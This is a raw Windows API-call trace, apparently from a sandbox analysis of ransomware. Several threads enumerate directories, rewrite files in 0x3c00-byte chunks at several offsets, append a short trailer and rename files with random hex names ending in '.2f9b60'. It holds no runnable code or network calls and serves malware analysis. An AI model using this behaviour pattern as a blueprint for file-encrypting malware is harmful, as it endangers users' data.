(HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262de0 [0205.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262de0) returned 1 [0205.484] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb2e0) returned 1 [0205.485] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61600) returned 1 [0205.485] WriteFile (in: hFile=0x1018, lpBuffer=0x42a8fa20*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x2521fd60, lpOverlapped=0x0 | out: lpBuffer=0x42a8fa20*, lpNumberOfBytesWritten=0x2521fd60*=0x3c00, lpOverlapped=0x0) returned 1 [0214.999] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42a8fa20) returned 1 [0214.999] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x431053d0 [0215.000] SetFilePointerEx (in: hFile=0x1018, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0215.000] WriteFile (in: hFile=0x1018, lpBuffer=0x1cebd690*, nNumberOfBytesToWrite=0x144, lpNumberOfBytesWritten=0x2521fe10, lpOverlapped=0x0 | out: lpBuffer=0x1cebd690*, lpNumberOfBytesWritten=0x2521fe10*=0x144, lpOverlapped=0x0) returned 1 [0219.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82be50 [0219.271] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b79e5f0 [0219.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaeb0 [0219.272] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddaeb0) returned 1 [0219.272] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x12) returned 0x1b82cfe0 [0219.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddaeb0 [0219.273] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cddae20 [0219.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cddae20) returned 1 [0219.274] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b79e5f0) returned 1 [0219.275] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82be50) returned 1 [0219.275] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x25) returned 0x1cddae20 [0219.275] sprintf (in: _Dest=0x1cddae20, _Format="%c%c" | out: _Dest="47") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae22, _Format="%c%c" | out: _Dest="4b") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae24, _Format="%c%c" | out: _Dest="e4") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae26, _Format="%c%c" | out: _Dest="c1") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae28, _Format="%c%c" | out: _Dest="f2") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae2a, _Format="%c%c" | out: _Dest="56") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae2c, _Format="%c%c" | out: _Dest="7c") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae2e, _Format="%c%c" | out: _Dest="ce") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae30, _Format="%c%c" | out: _Dest="bd") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae32, _Format="%c%c" | out: _Dest="8d") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae34, _Format="%c%c" | out: _Dest="79") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae36, _Format="%c%c" | out: _Dest="bf") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae38, _Format="%c%c" | out: _Dest="05") returned 2 [0219.275] sprintf (in: _Dest=0x1cddae3a, _Format="%c%c" | out: _Dest="34") returned 2 [0219.276] sprintf (in: _Dest=0x1cddae3c, _Format="%c%c" | out: _Dest="fa") returned 2 [0219.276] sprintf (in: _Dest=0x1cddae3e, _Format="%c%c" | out: _Dest="ea") returned 2 [0219.276] sprintf (in: _Dest=0x1cddae40, _Format="%c%c" | out: _Dest="8e") returned 2 [0219.276] sprintf (in: _Dest=0x1cddae42, _Format="%c%c" | out: _Dest="ae") returned 2 [0219.276] RtlInitAnsiString (in: DestinationString=0x2521fe88, SourceString="474be4c1f2567ccebd8d79bf0534faea8eae" | out: DestinationString="474be4c1f2567ccebd8d79bf0534faea8eae") [0219.276] RtlAnsiStringToUnicodeString (in: DestinationString=0x2521fe58, SourceString="474be4c1f2567ccebd8d79bf0534faea8eae", AllocateDestinationString=1 | out: DestinationString="474be4c1f2567ccebd8d79bf0534faea8eae") returned 0x0 [0219.276] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x4a) returned 0x1b858850 [0219.276] wcscat (in: _Dest=0x43160090, _Source="474be4c1f" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f" [0219.277] wcscat (in: _Dest=0x43160090, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f.2f9b60" [0219.277] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f.2f9b60", NtPathName=0x2521fe30, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\474be4c1f.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0219.277] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xb8) returned 0x43111320 [0243.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43111320) returned 1 [0243.990] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43080570) returned 1 [0243.990] NtQueryInformationFile (in: FileHandle=0x1018, IoStatusBlock=0x2521fe98, FileInformation=0x2521fea8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2521fe98, FileInformation=0x2521fea8) returned 0x0 [0243.990] NtSetInformationFile (FileHandle=0x1018, IoStatusBlock=0x2521fe98, FileInformation=0x2521fea8, Length=0x28, FileInformationClass=0x4) Thread: id = 2707 os_tid = 0x22b8 [0157.761] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt")) returned 0x20 [0157.762] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt", dwFileAttributes=0x20) returned 1 [0157.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1100.accdt" (normalized: "c:\\program files\\microsoft office\\templates\\1033\\access\\wss\\1100.accdt"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x1688 [0157.764] GetFileSizeEx (in: hFile=0x1688, lpFileSize=0x3125fb00 | out: lpFileSize=0x3125fb00*=259757) returned 1 [0157.764] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x3f6a9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0157.764] ReadFile (in: hFile=0x1688, lpBuffer=0x3125fa80, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3125fac8, lpOverlapped=0x0 | out: lpBuffer=0x3125fa80*, lpNumberOfBytesRead=0x3125fac8*=0x4, lpOverlapped=0x0) returned 1 [0159.371] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3dd0 [0159.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e00 [0159.371] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e30 [0159.371] NtQuerySystemTime (in: CurrentTime=0x3125f9c0 | out: CurrentTime=0x3125f9c0*=132462177645094000) returned 0x0 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x264093fd [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x69bb6dd2 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x39cce936 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x7e773317 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x5c103a48 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4cdd0d7 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x13c363b3 [0159.371] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x2910ebab [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x13e8cce3 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x2384b526 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4535fc90 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x78f81c0d [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x1da5e393 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x1ccf6db8 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x49e455a5 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4afffc88 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4f4cab81 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0xfd13f82 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x226ecd9f [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4840a73f [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0xd9c4966 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x2cc27f21 [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x51275d4a [0159.372] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x24dbcf47 [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x34d641d7 [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x499f92c5 [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x74a5163a [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x65597355 [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x7ffaceef [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x4ef36b45 [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x51be239c [0159.373] RtlRandomEx (in: Seed=0x3125f9b0 | out: Seed=0x3125f9b0) returned 0x796a48cf [0159.379] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e60 [0159.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cdb7370 [0159.380] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1cdb3e90 [0159.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb7370) returned 1 [0159.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3e30) returned 1 [0159.381] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cdb3dd0) returned 1 [0159.381] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x1ceffea0 [0159.381] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.381] ReadFile (in: hFile=0x1688, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3125fa20, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x3125fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0159.736] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.736] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97e40 [0159.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8677c0 [0159.737] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a00e0 [0159.738] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a00e0) returned 1 [0159.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x20455b00 [0159.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a00e0 [0159.738] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a0110 [0159.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a0110) returned 1 [0159.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8677c0) returned 1 [0159.739] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97e40) returned 1 [0159.739] WriteFile (hFile=0x1688, lpBuffer=0x20455b00, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3125fa20, lpOverlapped=0x0) [0194.339] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20455b00) returned 1 [0194.339] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.339] ReadFile (in: hFile=0x1688, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3125fa20, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x3125fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0194.523] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x21c00, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0194.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce5bc50 [0194.523] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ceba3e0 [0194.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4280 [0194.524] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4280) returned 1 [0194.524] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42843630 [0194.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4280 [0194.525] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4250 [0194.525] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a4250) returned 1 [0194.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ceba3e0) returned 1 [0194.526] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce5bc50) returned 1 [0194.526] WriteFile (in: hFile=0x1688, lpBuffer=0x42843630*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3125fa20, lpOverlapped=0x0 | out: lpBuffer=0x42843630*, lpNumberOfBytesWritten=0x3125fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0210.303] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42843630) returned 1 [0210.304] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x3baad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.304] ReadFile (in: hFile=0x1688, lpBuffer=0x1ceffea0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3125fa20, lpOverlapped=0x0 | out: lpBuffer=0x1ceffea0*, lpNumberOfBytesRead=0x3125fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0210.352] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x3baad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0210.352] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce616a0 [0210.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1cebb060 [0210.353] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0210.354] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a750) returned 1 [0210.354] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42847240 [0210.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a750 [0210.355] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85a7e0 [0210.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85a7e0) returned 1 [0210.356] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cebb060) returned 1 [0210.357] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce616a0) returned 1 [0210.357] WriteFile (in: hFile=0x1688, lpBuffer=0x42847240*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3125fa20, lpOverlapped=0x0 | out: lpBuffer=0x42847240*, lpNumberOfBytesWritten=0x3125fa20*=0x3c00, lpOverlapped=0x0) returned 1 [0216.827] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42847240) returned 1 [0216.827] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x60) returned 0x1cddf910 [0216.827] SetFilePointerEx (in: hFile=0x1688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0216.828] WriteFile (in: hFile=0x1688, lpBuffer=0x1cebc970*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x3125fad0, lpOverlapped=0x0 | out: lpBuffer=0x1cebc970*, lpNumberOfBytesWritten=0x3125fad0*=0x146, lpOverlapped=0x0) returned 1 [0222.139] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1ce61240 [0222.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b86c4c0 [0222.140] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431371b0 [0222.141] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431371b0) returned 1 [0222.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b82cfe0 [0222.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431371b0 [0222.141] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43137150 [0222.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43137150) returned 1 [0222.142] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86c4c0) returned 1 [0222.143] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce61240) returned 1 [0222.143] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x431ac8a0 [0222.143] sprintf (in: _Dest=0x431ac8a0, _Format="%c%c" | out: _Dest="1b") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8a2, _Format="%c%c" | out: _Dest="f8") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8a4, _Format="%c%c" | out: _Dest="1b") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8a6, _Format="%c%c" | out: _Dest="ad") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8a8, _Format="%c%c" | out: _Dest="44") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8aa, _Format="%c%c" | out: _Dest="37") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8ac, _Format="%c%c" | out: _Dest="64") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8ae, _Format="%c%c" | out: _Dest="3e") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8b0, _Format="%c%c" | out: _Dest="1f") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8b2, _Format="%c%c" | out: _Dest="45") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8b4, _Format="%c%c" | out: _Dest="3f") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8b6, _Format="%c%c" | out: _Dest="54") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8b8, _Format="%c%c" | out: _Dest="fe") returned 2 [0222.143] sprintf (in: _Dest=0x431ac8ba, _Format="%c%c" | out: _Dest="0d") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8bc, _Format="%c%c" | out: _Dest="39") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8be, _Format="%c%c" | out: _Dest="6d") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8c0, _Format="%c%c" | out: _Dest="d7") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8c2, _Format="%c%c" | out: _Dest="6a") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8c4, _Format="%c%c" | out: _Dest="80") returned 2 [0222.144] sprintf (in: _Dest=0x431ac8c6, _Format="%c%c" | out: _Dest="0c") returned 2 [0222.144] RtlInitAnsiString (in: DestinationString=0x3125fb48, SourceString="1bf81bad4437643e1f453f54fe0d396dd76a800c" | out: DestinationString="1bf81bad4437643e1f453f54fe0d396dd76a800c") [0222.144] RtlAnsiStringToUnicodeString (in: DestinationString=0x3125fb18, SourceString="1bf81bad4437643e1f453f54fe0d396dd76a800c", AllocateDestinationString=1 | out: DestinationString="1bf81bad4437643e1f453f54fe0d396dd76a800c") returned 0x0 [0222.144] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x431fa5c0 [0222.145] wcscat (in: _Dest=0x202ad4a0, _Source="1bf81bad44" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44" [0222.145] wcscat (in: _Dest=0x202ad4a0, _Source=".2f9b60" | out: _Dest="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44.2f9b60") returned="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44.2f9b60" [0222.145] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44.2f9b60", NtPathName=0x3125faf0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files\\Microsoft Office\\Templates\\1033\\Access\\WSS\\1bf81bad44.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0222.145] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xba) returned 0x4310c600 [0243.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4310c600) returned 1 [0243.263] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4320f810) returned 1 [0243.263] NtQueryInformationFile (in: FileHandle=0x1688, IoStatusBlock=0x3125fb58, FileInformation=0x3125fb68, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x3125fb58, FileInformation=0x3125fb68) returned 0x0 [0243.263] NtSetInformationFile (FileHandle=0x1688, IoStatusBlock=0x3125fb58, FileInformation=0x3125fb68, Length=0x28, FileInformationClass=0x4) returned 0x0 [0243.439] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202ad4a0) returned 1 [0243.440] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431fa5c0) returned 1 [0243.440] FlushFileBuffers (hFile=0x1688) returned 1 [0243.441] CloseHandle (hObject=0x1688) Thread: id = 2708 os_tid = 0x22bc [0157.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x5e) returned 0x1b7c2520 [0157.767] wcscpy (in: _Dest=0x1b7c2520, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2" [0157.767] wcscat (in: _Dest=0x1b7c2520, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\" [0157.767] wcscat (in: _Dest=0x1b7c2520, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*" [0157.767] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x2027db80 [0157.768] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\plugin2\\*", lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1b8585b0 [0159.516] wcscmp (_String1=".", _String2=".") returned 0 [0159.516] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0159.516] wcscmp (_String1="..", _String2=".") returned 1 [0159.516] wcscmp (_String1="..", _String2="..") returned 0 [0159.516] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x744249a0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x744249a0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xbcf50, dwReserved0=0x0, dwReserved1=0x0, cFileName="msvcr100.dll", cAlternateFileName="")) returned 1 [0159.516] wcscmp (_String1="msvcr100.dll", _String2=".") returned 1 [0159.516] wcscmp (_String1="msvcr100.dll", _String2="..") returned 1 [0159.516] FindNextFileW (in: hFindFile=0x1b8585b0, lpFindFileData=0x2027db80 | out: lpFindFileData=0x2027db80*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x744249a0, 